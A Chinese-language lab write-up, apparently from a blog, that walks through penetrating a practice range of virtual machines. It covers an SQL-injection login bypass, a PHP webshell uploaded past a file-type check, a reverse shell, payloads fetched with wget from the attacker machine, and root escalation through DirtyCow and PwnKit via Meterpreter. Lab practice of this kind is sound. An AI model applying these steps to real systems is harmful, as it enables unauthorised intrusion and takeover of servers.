环境准备

导入所有 5 台 OVA 虚拟机
按照如下要求配置网络适配器、Kali 等攻击机使用 NAT 网络
DB

Web

FW

OA

WinServer

虚拟网络编辑按下图设置

获取对外访问 IP
启动导入的5台虚拟机,进入 FW 虚拟机,查看 FW 虚拟机控制台 WAN 口 IP 地址

渗透测试流程
一、获取 Web 系统管理员⽤户名
得到靶机ip后使用nmap工具对靶机进行常见端口及端口服务版本扫描

扫描后发现靶机开放80端口,且所使用的中间件Apache在该版本中无通用漏洞,故使用浏览器访问靶机ip进入公司首页寻找突破点

在探索网站后发现存在后台登录页面

在后台登录页面发现登录框,根据提示及查看源码得知该页面方式为前端**JS判断**是否输入正确邮箱

方法一:通过修改前端验证,将type=“email”替换成type="text",从而绕过前端验证,然后输入sql注入万能密码,成功登入管理后台


方法二:在Burpsuite自带的浏览器中访问靶机IP的web页面,先随便输入一个正确格式的邮箱,任意的密码,然后通过Burpsuite拦截请求数据包,将请求包中的email参数对应的值修改为SQL注入万能密码后放行请求数据包,返回浏览器发现登录成功



二、获取 Web 系统中的 flag
对目标网站进行信息搜集后,发现管理员邮箱地址与用户管理页面存在头像上传点

在攻击机kali上写一个文件名为backdoor.php的一句话木马

然后将制作好的一句话木马文件通过头像上传到靶机服务器上,因为对文件类型做了限制,所以得通过Burpsuite拦截请求包,将Content-Type: application/x-php修改为Content-Type: image/png后放行请求数据包,返回浏览器发现,已经绕过限制,成功上传

将木马上传后,会显示头像上传成功

通过在BurpSuite Proxy模块中的HTTP history中寻找上传成功后是否返回上传到的路径

这里显示是在/avatar路径下,通过访问http://192.168.245.133/avatar/可以看到admin.php存在,那就确认木马是被成功上传了

在攻击机kali中,通过上传的一句话木马就可以执行靶机系统命令,从而知道用户身份是apache

一句一句执行命令不方便进行操作,所以通过反弹shell来连接到webshell便于我们对靶机的控制

新增一个kali窗口进行监听,从而成功拿到webshell

通过find / -type f -name "*flag*" 2>/dev/null找到flag2的路径是/var/www/html/flag.txt


通过cat /var/www/html/flag.txt直接获取到flag值为:w1r91mdxeidy4hh5

三、获取 Web 系统 root 下的 flag
拿到webshell后通过信息收集,发现用户身份是 apache,权限非常低,因此得想办法提权
通过uname -a查看系统内核版本是 2.6.32-431.el6.x86_64 ,由于 linux-exploit-suggester.sh 可以直接根据系统内核版本检测出当前存在的可以利用的漏洞,从而可以利用这些漏洞来提升权限

首先需要将下载至kali上的 linux-exploit-suggester.sh.zip 上传至靶机中解压缩并执行,因为是通过木马反弹shell拿到的webshell,在kali上传文件到服务器时需要将含有 linux-exploit-suggester.sh.zip 文件的目录通过python3 -m http.server 80将web服务开放,webshell通过wget http://192.168.245.128/linux-exploit-suggester.sh.zip方式从而获取到linux-exploit-suggester.sh.zip 文件


然后通过webshell对该文件解压缩后,添加可执行权限,最后执行该脚本

执行完该脚本后,经验证存在以下两个漏洞可以被利用
[CVE-2016-5195] dirtycow 2

[CVE-2021-4034] PwnKit

由于在渗透测试中,Meterpreter 被誉为“后渗透之王”,其核心优势在于它不仅仅是一个 Shell,而是一个运行在内存中的高级交互式平台

又因存在 dirtycow 和 PwnKit 两种漏洞,据此我将用以下两种方法来提升权限
方法一:利用反弹shell连接到webshell后执行dirtycow漏洞脚本来实现提权
在kali上执行searchsploit -m 40839指令就可以将脏牛漏洞脚本 40839.c 下载到当前所在位置

然后在webshell中通过wget方式来获取下载到kali的 40839.c 文件,前提是kali在含有该文件的目录下执行了python3 -m http.server 80


cat 查看一下 40839.c ,看一下使用说明

根据上面的说明,需要将下载的 40839.c 进行编译后在对其加可执行权限后在执行

最后执行成功后,通过cat /etc/passwd来查看新建的用户名称已经是root身份了


最后成功将权限提升至root权限
方法二:通过更加稳定高级的Meterpreter来操控靶机,通过内置的模块直接upload内核PwnKit漏洞文件执行后实现提权
首先使用kali中的msfvenom工具生成一个linux后门

在利用前面连接到的webshell来将后门文件上传至靶机并添加可执行权限

开启msfconsole中的侦听模块,配置参数开始侦听

返回webshell,后台运行后门文件后返回msf,发现成功回连终端


使用 meterpreter 上传PwnKit漏洞文件

进入 shell 并解压上传的文件后执行获取 root 权限


进入文件并编译提权程序

查看编译成功的提权程序并运行提权程序成功获取到 root 权限

web渗透实验3
本文采用 CC BY-NC-SA 4.0 许可协议,转载请注明出处。
评论交流
欢迎留下你的想法